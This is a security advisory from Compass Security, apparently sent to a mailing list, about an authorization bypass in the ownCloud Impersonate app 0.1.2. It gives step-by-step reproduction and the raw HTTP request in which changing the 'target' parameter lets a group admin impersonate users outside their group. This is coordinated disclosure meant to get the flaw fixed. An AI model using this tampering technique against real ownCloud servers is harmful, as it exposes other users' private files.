CSNC-2018-015 - ownCloud Impersonate - Authorization Bypass

Advisories <[email protected]> Wed, 29 Aug 2018 12:15:08 +0000
Newsgroups gmane.comp.security.bugtraq,gmane.comp.security.news.securitytracker
Message-ID <[email protected]>
#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:  ownCloud Impersonate
# Vendor:   ownCloud
# CSNC ID:  CSNC-2018-015
# CVE ID:   N/A
# Subject:  Authorization bypass
# Risk:     High
# Effect:   Remotely exploitable
# Author:   Thierry Viaccoz <[email protected]>
# Date:     29.08.2018
#
#############################################################


Introduction:
-------------
ownCloud [1] is a suite of client-server software for creating file hosting=
 services and using them. An app called Impersonate [2] was created to allo=
w administrators to impersonate other users.

According to the documentation [3], group admins should only be able to acc=
ess users of the groups they are administrator of.

Compass Security discovered that it was possible for a group admin to imper=
sonate any user, except global administrators.

This way, group admins have access to data of users of other groups, even t=
hough they shouldn't.


Affected:
---------
Vulnerable:
 * Version 0.1.2

Not vulnerable:
 * Version 0.2.0

No other version was tested, but it is believed for the older versions to b=
e vulnerable too.


Technical Description
---------------------
In order to reproduce the vulnerability, follow the steps below.

Create two groups:
 * group1
 * group2

Create four users as follows:
 * test1; group =3D group1; group admin =3D group1
 * test2; group =3D group1; group admin =3D no group
 * test3; group =3D group2; group admin =3D group2
 * test4; group =3D group2; group admin =3D no group

Activate the Impersonate app in Settings > Admin > Apps.

Go to Settings > Admin > Apps > User Authentication, check "Allow group adm=
ins to impersonate users from these groups" and add the two groups "group1"=
 and "group2".

Log in with "test1", open the user page and impersonate the user "test2". T=
here, intercept the POST request to /apps/impersonate/user and replace "tar=
get=3Dtest2" by "target=3Dtest3" in the body as shown below.

As a result, the user "test1" will impersonate the user "test3", even thoug=
h "test1" is only group admin of "group1" and "test3" is not in this group.

Request:
=3D=3D=3D=3D=3D=3D=3D=3D=3D
POST /apps/impersonate/user HTTP/1.1
Host: demo.owncloud.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox=
/52.0
Accept: */*
Accept-Language: en-US,en;q=3D0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8
requesttoken: [CUT]
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 12
Cookie: [CUT]
Connection: close

target=3Dtest3
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Response:
=3D=3D=3D=3D=3D=3D=3D=3D=3D
HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Length: 2
Content-Security-Policy: default-src 'none';manifest-src 'self';script-src =
'self' 'unsafe-eval';style-src 'self' 'unsafe-inline';img-src 'self' data: =
blob:;font-src 'self';connect-src 'self';media-src 'self'
Content-Type: application/json; charset=3Dutf-8
Date: Thu, 15 Mar 2018 15:21:14 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Strict-Transport-Security: max-age=3D15768000; preload
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
X-Robots-Tag: none
X-Xss-Protection: 1; mode=3Dblock
Connection: close

[]
=3D=3D=3D=3D=3D=3D=3D=3D=3D


Workaround / Fix:
-----------------
Check the authorization consistently to prevent group admins to be able to =
impersonate users from other groups.


Timeline:
---------
2018-08-29:     Coordinated public disclosure date
2018-04-17:     Release of fixed version 0.2.0
2018-03-16:     Initial vendor response
2018-03-16:     Initial vendor notification
2018-03-15:     Discovery by Thierry Viaccoz


References:
-----------
[1] https://owncloud.org/
[2] https://marketplace.owncloud.com/apps/impersonate
[3] https://doc.owncloud.org/server/10.0/admin_manual/issues/impersonate_us=
ers.html